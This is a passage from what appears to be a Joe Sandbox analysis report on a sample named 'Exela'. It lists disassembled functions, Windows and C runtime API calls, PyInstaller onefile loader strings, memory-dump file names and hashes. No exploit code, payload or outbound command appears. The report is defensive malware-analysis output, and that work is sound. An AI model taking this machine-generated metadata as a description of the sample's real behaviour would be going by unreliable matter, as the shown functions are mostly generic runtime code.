Instruction Fuzzy Hash: E341C422D1879283F350BB20961A379A360FF94764F549375EA9C03AD2DF7CA5E18720

Function 00007FF75AE9CCAC Relevance: 4.6, APIs: 3, Instructions: 94
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF75AE9CE7C: __scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF75AE9CE90

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF75AE9CCD0
__scrt_release_startup_lock.LIBCMT ref: 00007FF75AE9CD3E
__scrt_get_show_window_mode.LIBCMT ref: 00007FF75AE9CD91

Memory Dump Source

Source File: 0000004D.00000002.2094614717.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004D.00000002.2094591065.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094650034.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094682015.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094682015.00007FF75AED1000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094758116.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_77_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: __scrt_acquire_startup_lock__scrt_dllmain_crt_thread_attach__scrt_get_show_window_mode__scrt_release_startup_lock
String ID:
API String ID: 3251591375-0
Opcode ID: bd18f10481fc1cc14ce46c2a249e6ab71ba61d2437927de899b0ff225cfe2228
Instruction ID: 44aaf1e4e1737e217bb3da66a54c00683d13b118261384aea55578a273af45da
Opcode Fuzzy Hash: bd18f10481fc1cc14ce46c2a249e6ab71ba61d2437927de899b0ff225cfe2228
Instruction Fuzzy Hash: CD313B21E083734DFA64BB259467BB9A791AF81384FCC44B4D94E672D3DE2CA805C271

Function 00007FF75AEA01AC Relevance: 3.2, APIs: 2, Instructions: 177
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF75AEA01F0
_invalid_parameter_noinfo.LIBCMT ref: 00007FF75AEA02E7

Memory Dump Source

Source File: 0000004D.00000002.2094614717.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004D.00000002.2094591065.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094650034.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094682015.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094682015.00007FF75AED1000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094758116.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_77_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 2fd4b9cf4e2c203a215f80a0453bc9b94d2a0e119ef729a2f51343e3c0f92604
Instruction ID: d606099b4e6e67df70ef816ca1599a51ed9bd395bbdcec814ad5e0d787070884
Opcode Fuzzy Hash: 2fd4b9cf4e2c203a215f80a0453bc9b94d2a0e119ef729a2f51343e3c0f92604
Instruction Fuzzy Hash: 35512821B0926246F766BE29940A67AE3C1AF44BA4F9C4774DE6D077C6CF3CD5018630

Function 00007FF75AEAC1A4 Relevance: 3.0, APIs: 2, Instructions: 46COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNEL32(?,?,?,?,?,00007FF75AEAC33D), ref: 00007FF75AEAC1F0
GetLastError.KERNEL32(?,?,?,?,?,00007FF75AEAC33D), ref: 00007FF75AEAC1FA

Memory Dump Source

Source File: 0000004D.00000002.2094614717.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004D.00000002.2094591065.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094650034.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094682015.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094682015.00007FF75AED1000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094758116.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_77_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: fe8bab274ce7bcf2293d1df97f88808174c3604892bb54168c1d2d59b6616a84
Instruction ID: 6d79647a6174d8ed0cfcc5369f20650a4ce3914ca626938b546aec1e19bdeabb
Opcode Fuzzy Hash: fe8bab274ce7bcf2293d1df97f88808174c3604892bb54168c1d2d59b6616a84
Instruction Fuzzy Hash: 2C110461718B6181EA10BB65A809069A361FF81BF4F9C4371EE7D4B7D8CE3CD4018700

Function 00007FF75AEAA9B8 Relevance: 3.0, APIs: 2, Instructions: 19memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,?,?,00007FF75AEB2D92,?,?,?,00007FF75AEB2DCF,?,?,00000000,00007FF75AEB3295,?,?,?,00007FF75AEB31C7), ref: 00007FF75AEAA9CE
GetLastError.KERNEL32(?,?,?,00007FF75AEB2D92,?,?,?,00007FF75AEB2DCF,?,?,00000000,00007FF75AEB3295,?,?,?,00007FF75AEB31C7), ref: 00007FF75AEAA9D8

Memory Dump Source

Source File: 0000004D.00000002.2094614717.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004D.00000002.2094591065.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094650034.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094682015.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094682015.00007FF75AED1000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094758116.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_77_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 4768bb9444967098c6ff0662bce39d003f3d6bed11959a3c87c06bce48e858a7
Instruction ID: 3ba9d389facac25f79b385da1513dc1d9f226e2729bddc8d2a4f4d0838436265
Opcode Fuzzy Hash: 4768bb9444967098c6ff0662bce39d003f3d6bed11959a3c87c06bce48e858a7
Instruction Fuzzy Hash: 6EE04F50E0831642FF187BB2A45B13891906F84741B8C81B4C91D462A1DE2C68858220

Function 00007FF75AEAABC8 Relevance: 2.6, APIs: 2, Instructions: 59COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?,?,?,00007FF75AEAAA45,?,?,00000000,00007FF75AEAAAFA), ref: 00007FF75AEAAC36
GetLastError.KERNEL32(?,?,?,00007FF75AEAAA45,?,?,00000000,00007FF75AEAAAFA), ref: 00007FF75AEAAC40

Memory Dump Source

Source File: 0000004D.00000002.2094614717.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004D.00000002.2094591065.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094650034.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094682015.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094682015.00007FF75AED1000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094758116.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_77_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: CloseErrorHandleLast
String ID:
API String ID: 918212764-0
Opcode ID: 1c4273fb4a414bd16749861b25ace672462e960675883ae7dbf138385109c950
Instruction ID: 477d21ec7612bd668772126a739409cb2da3a58a0e2e06d1601d3fed8709d5b9
Opcode Fuzzy Hash: 1c4273fb4a414bd16749861b25ace672462e960675883ae7dbf138385109c950
Instruction Fuzzy Hash: 3121A821F1C76242FFA47761A45B27D96829F84790FCC42B9EA2E477D1CE6CE4858320

Function 00007FF75AEABF1C Relevance: 1.6, APIs: 1, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF75AEABF44

Memory Dump Source

Source File: 0000004D.00000002.2094614717.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004D.00000002.2094591065.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094650034.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094682015.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094682015.00007FF75AED1000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094758116.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_77_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 83fd655adac635c1bfef66338e564e5d3c087748e58eff1a34e14c1f5e77bb28
Instruction ID: c1988d28e1002e279d4d484cac0a04103f6ece80cb91bd8ce46e33ab9a492427
Opcode Fuzzy Hash: 83fd655adac635c1bfef66338e564e5d3c087748e58eff1a34e14c1f5e77bb28
Instruction Fuzzy Hash: 8341F532A0821187FA34BB55E55A279F3A0EF55B40F9C4171EA8E87691CF2DE802CB61

Function 00007FF75AE97F80 Relevance: 1.6, APIs: 1, Instructions: 85COMMON

Download Yara Rule

APIs

_fread_nolock.LIBCMT ref: 00007FF75AE9802A

Memory Dump Source

Source File: 0000004D.00000002.2094614717.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004D.00000002.2094591065.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094650034.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094682015.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094682015.00007FF75AED1000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094758116.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_77_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: _fread_nolock
String ID:
API String ID: 840049012-0
Opcode ID: 690dc6b67f817d594e91469c9844e6c3b6f2191f13bc332efa466ce869a3b8e8
Instruction ID: 0161e380bada3dc8dbcb64a249062d881bad0c31413e3b9cded1b703a1518053
Opcode Fuzzy Hash: 690dc6b67f817d594e91469c9844e6c3b6f2191f13bc332efa466ce869a3b8e8
Instruction Fuzzy Hash: 97219121B087728AFA10BA126516BFAEA51BF45BD4FCC5470EE4D07786CE7EE041C720

Function 00007FF75AEAB9AC Relevance: 1.6, APIs: 1, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF75AEABA32

Memory Dump Source

Source File: 0000004D.00000002.2094614717.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004D.00000002.2094591065.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094650034.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094682015.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094682015.00007FF75AED1000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094758116.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_77_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: e965e93cbe1d72adb8351a0dc15ff4730447cd31f91a428760958f4d16ec249d
Instruction ID: 7522892212e0090d612d09d23144962a1362839e067a0f634cb4ac9389392f4a
Opcode Fuzzy Hash: e965e93cbe1d72adb8351a0dc15ff4730447cd31f91a428760958f4d16ec249d
Instruction Fuzzy Hash: D031BE32A1866286F7517B55984B37CAA60AF40BA4FCA51B5EA2D033D2CF7CE8418731

Function 00007FF75AEA99D1 Relevance: 1.6, APIs: 1, Instructions: 61COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF75AEA99FF

Part of subcall function 00007FF75AEA9AF8: GetModuleHandleExW.KERNEL32 ref: 00007FF75AEA9B1D
Part of subcall function 00007FF75AEA9AF8: GetProcAddress.KERNEL32 ref: 00007FF75AEA9B33
Part of subcall function 00007FF75AEA9AF8: FreeLibrary.KERNEL32 ref: 00007FF75AEA9B5A

Memory Dump Source

Source File: 0000004D.00000002.2094614717.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004D.00000002.2094591065.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094650034.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094682015.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094682015.00007FF75AED1000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094758116.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_77_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: HandleModule$AddressFreeLibraryProc
String ID:
API String ID: 3947729631-0
Opcode ID: c67799cafce48778543f3f8f4be5d8193b6380671b5390c3378b203fc6564281
Instruction ID: e7df6162451b1382e36028372662225ca7eee501c22f31b918b78909dd21ca01
Opcode Fuzzy Hash: c67799cafce48778543f3f8f4be5d8193b6380671b5390c3378b203fc6564281
Instruction Fuzzy Hash: 66218E32A047968AFB24BF64C44A2FC73A0EF44718F88467AD62D06AD5DF38D584C760

Function 00007FF75AEA6004 Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF75AEA5F69

Memory Dump Source

Source File: 0000004D.00000002.2094614717.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004D.00000002.2094591065.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094650034.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094682015.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094682015.00007FF75AED1000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094758116.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_77_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: d0ecc1d4814c8292f6d285d86e9f4332b8d7141ecd04c52723bb65a1ba9d936a
Instruction ID: dfc57e5b18331b03d02219bf6d1de5abfb095ae863bf1f6fff83102600040cec
Opcode Fuzzy Hash: d0ecc1d4814c8292f6d285d86e9f4332b8d7141ecd04c52723bb65a1ba9d936a
Instruction Fuzzy Hash: B4116326A1C66282FA60BF51A40627EE2A4BF45B80FDC40B1FB4C57B96DF3DD5418730

Function 00007FF75AEB63C4 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF75AEB63E7

Memory Dump Source

Source File: 0000004D.00000002.2094614717.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004D.00000002.2094591065.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094650034.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094682015.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094682015.00007FF75AED1000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094758116.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_77_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 3ea3ce3b0d542221f39e0ec21b1c29adddc4a64aa4be1ebee55588f6cedcbaa9
Instruction ID: 1436b58a24f9e5537ebd7dd05e69ea6343ea388c359d5b3516914feeb88a895c
Opcode Fuzzy Hash: 3ea3ce3b0d542221f39e0ec21b1c29adddc4a64aa4be1ebee55588f6cedcbaa9
Instruction Fuzzy Hash: 1921B372608B9686E761BF18E446379B6A0FF85B54F984334E79D476D5DF3CD8008B10

Function 00007FF75AEA042C Relevance: 1.5, APIs: 1, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF75AEA0480

Memory Dump Source

Source File: 0000004D.00000002.2094614717.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004D.00000002.2094591065.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094650034.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094682015.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094682015.00007FF75AED1000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094758116.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_77_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 8e9754deeba93abb4745aa2efb451e77357aefa8fb0fbddb16feb6c8c90fdd62
Instruction ID: 30ad2407d49361679c6fa5feb80e9bad6b5d3437141dd04d202c49cf9c38207d
Opcode Fuzzy Hash: 8e9754deeba93abb4745aa2efb451e77357aefa8fb0fbddb16feb6c8c90fdd62
Instruction Fuzzy Hash: 1101C462A0876241FA05FF529907069E791BF85FE0F8C46B1EE5C17BD6CE3CE5014320

Function 00007FF75AE99070 Relevance: 1.5, APIs: 1, Instructions: 19libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF75AE99400: MultiByteToWideChar.KERNEL32(?,?,?,00007FF75AE945E4,00000000,00007FF75AE91985), ref: 00007FF75AE99439

LoadLibraryExW.KERNEL32(?,00007FF75AE96466,?,00007FF75AE9336E), ref: 00007FF75AE99092

Memory Dump Source

Source File: 0000004D.00000002.2094614717.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004D.00000002.2094591065.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094650034.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094682015.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094682015.00007FF75AED1000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094758116.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_77_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: ByteCharLibraryLoadMultiWide
String ID:
API String ID: 2592636585-0
Opcode ID: 6c0d9462715ca9992f6b4afaad31bbb453c28a5b2bab261bfd845826f23efb25
Instruction ID: 733a6a507d1a197625286cb2dd505b58dc20504b02fd66b50a3ab6381ee0f6ed
Opcode Fuzzy Hash: 6c0d9462715ca9992f6b4afaad31bbb453c28a5b2bab261bfd845826f23efb25
Instruction Fuzzy Hash: 6ED08C11F2426546FA54B767BA4B6399251AF89BC0E8CD035EE0D03B5ADC3CC4414B00

Function 00007FF75AEAD66C Relevance: 1.3, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32(?,?,?,00007FF75AEA0D00,?,?,?,00007FF75AEA236A,?,?,?,?,?,00007FF75AEA3B59), ref: 00007FF75AEAD6AA

Memory Dump Source

Source File: 0000004D.00000002.2094614717.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004D.00000002.2094591065.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094650034.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094682015.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094682015.00007FF75AED1000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094758116.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_77_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 5ab6faa5eb5c52a79f6ef15f458d67d4847db3a002ac7bba2a3205d093894568
Instruction ID: f1ca97cceb2b0feb5b193fc190cc7dd06fa3024616b0bb6e8c5d08149bd0e355
Opcode Fuzzy Hash: 5ab6faa5eb5c52a79f6ef15f458d67d4847db3a002ac7bba2a3205d093894568
Instruction Fuzzy Hash: 92F05820F0932785FE647761589B3B892904F94BA0F8C43B0DD2E853C2DE2CE8808230

Non-executed Functions

Function 00007FF75AE98BD0 Relevance: 70.3, APIs: 36, Strings: 4, Instructions: 257synchronizationwindowregistryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF75AE99400: MultiByteToWideChar.KERNEL32(?,?,?,00007FF75AE945E4,00000000,00007FF75AE91985), ref: 00007FF75AE99439

SetConsoleCtrlHandler.KERNEL32(?,?,FFFFFFFF,00007FF75AE93F7F), ref: 00007FF75AE98C2B
GetStartupInfoW.KERNEL32(?,FFFFFFFF,00007FF75AE93F7F), ref: 00007FF75AE98C46

Part of subcall function 00007FF75AEAA4EC: _invalid_parameter_noinfo.LIBCMT ref: 00007FF75AEAA500

Part of subcall function 00007FF75AEA878C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF75AEA87F3

GetCommandLineW.KERNEL32(?,FFFFFFFF,00007FF75AE93F7F), ref: 00007FF75AE98CD6
CreateProcessW.KERNEL32 ref: 00007FF75AE98D0E
GetLastError.KERNEL32(?,FFFFFFFF,00007FF75AE93F7F), ref: 00007FF75AE98D18

Part of subcall function 00007FF75AE92C50: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,00007FF75AE93706,?,00007FF75AE93804), ref: 00007FF75AE92C9E
Part of subcall function 00007FF75AE92C50: FormatMessageW.KERNEL32(?,?,?,?,?,?,?,?,00007FF75AE93706,?,00007FF75AE93804), ref: 00007FF75AE92D63
Part of subcall function 00007FF75AE92C50: MessageBoxW.USER32 ref: 00007FF75AE92D99

RegisterClassW.USER32 ref: 00007FF75AE98D70
GetLastError.KERNEL32(?,FFFFFFFF,00007FF75AE93F7F), ref: 00007FF75AE98D7B
CreateWindowExW.USER32 ref: 00007FF75AE98DC5
GetLastError.KERNEL32(?,FFFFFFFF,00007FF75AE93F7F), ref: 00007FF75AE98DD7
WaitForSingleObject.KERNEL32(?,FFFFFFFF,00007FF75AE93F7F), ref: 00007FF75AE98DF2
GetLastError.KERNEL32(?,FFFFFFFF,00007FF75AE93F7F), ref: 00007FF75AE98E05
PeekMessageW.USER32 ref: 00007FF75AE98E29
TranslateMessage.USER32 ref: 00007FF75AE98E37
DispatchMessageW.USER32(?,FFFFFFFF,00007FF75AE93F7F), ref: 00007FF75AE98E41
PeekMessageW.USER32 ref: 00007FF75AE98E5C
WaitForSingleObject.KERNEL32(?,FFFFFFFF,00007FF75AE93F7F), ref: 00007FF75AE98E6E
WaitForSingleObject.KERNEL32(?,FFFFFFFF,00007FF75AE93F7F), ref: 00007FF75AE98E89
TerminateProcess.KERNEL32(?,FFFFFFFF,00007FF75AE93F7F), ref: 00007FF75AE98E9F
GetLastError.KERNEL32(?,FFFFFFFF,00007FF75AE93F7F), ref: 00007FF75AE98EA9
WaitForSingleObject.KERNEL32(?,FFFFFFFF,00007FF75AE93F7F), ref: 00007FF75AE98EB7
DestroyWindow.USER32(?,FFFFFFFF,00007FF75AE93F7F), ref: 00007FF75AE98FF4
GetExitCodeProcess.KERNEL32 ref: 00007FF75AE99009
CloseHandle.KERNEL32(?,FFFFFFFF,00007FF75AE93F7F), ref: 00007FF75AE99012
CloseHandle.KERNEL32(?,FFFFFFFF,00007FF75AE93F7F), ref: 00007FF75AE9901F

Strings

Failed to create child process!, xrefs: 00007FF75AE98D20
PyInstaller Onefile Hidden Window, xrefs: 00007FF75AE98D85
PyInstallerOnefileHiddenWindow, xrefs: 00007FF75AE98D44
CreateProcessW, xrefs: 00007FF75AE98D27

Memory Dump Source

Source File: 0000004D.00000002.2094614717.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004D.00000002.2094591065.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094650034.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094682015.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094682015.00007FF75AED1000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094758116.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_77_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: Message$ErrorLast$ObjectProcessSingleWait$CloseCreateHandlePeekWindow_invalid_parameter_noinfo$ByteCharClassCodeCommandConsoleCtrlCurrentDestroyDispatchExitFormatHandlerInfoLineMultiRegisterStartupTerminateTranslateWide
String ID: CreateProcessW$Failed to create child process!$PyInstaller Onefile Hidden Window$PyInstallerOnefileHiddenWindow
API String ID: 3832162212-3165540532
Opcode ID: f1b4a1f9842ac9cce6b2798ee34386867a7882a0850fd65476f94626d3f01840
Instruction ID: 1ab73469522d9df8703f70ce5660bd6f590d1f319819d037a5ddd785809d90c5
Opcode Fuzzy Hash: f1b4a1f9842ac9cce6b2798ee34386867a7882a0850fd65476f94626d3f01840
Instruction Fuzzy Hash: 44D1E432A08B968AF710BF34E85A6ADB764FF84B58F884275DA5D43AA4DF3CD504C710

Function 00007FFB08033048 Relevance: 13.6, APIs: 9, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FFB08033064
00007FFB1C8119C0.VCRUNTIME140 ref: 00007FFB08033088
RtlCaptureContext.KERNEL32 ref: 00007FFB08033091
RtlLookupFunctionEntry.KERNEL32 ref: 00007FFB080330AB
RtlVirtualUnwind.KERNEL32 ref: 00007FFB080330EC
00007FFB1C8119C0.VCRUNTIME140 ref: 00007FFB0803311F
IsDebuggerPresent.KERNEL32 ref: 00007FFB08033140
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FFB08033161
UnhandledExceptionFilter.KERNEL32 ref: 00007FFB0803316C

Memory Dump Source

Source File: 0000004D.00000002.2096619014.00007FFB08031000.00000040.00000001.01000000.00000020.sdmp, Offset: 00007FFB08030000, based on PE: true

Associated: 0000004D.00000002.2096591330.00007FFB08030000.00000002.00000001.01000000.00000020.sdmpDownload File
Associated: 0000004D.00000002.2096619014.00007FFB08094000.00000040.00000001.01000000.00000020.sdmpDownload File
Associated: 0000004D.00000002.2096619014.00007FFB080E3000.00000040.00000001.01000000.00000020.sdmpDownload File
Associated: 0000004D.00000002.2096619014.00007FFB0813C000.00000040.00000001.01000000.00000020.sdmpDownload File
Associated: 0000004D.00000002.2096619014.00007FFB08141000.00000040.00000001.01000000.00000020.sdmpDownload File
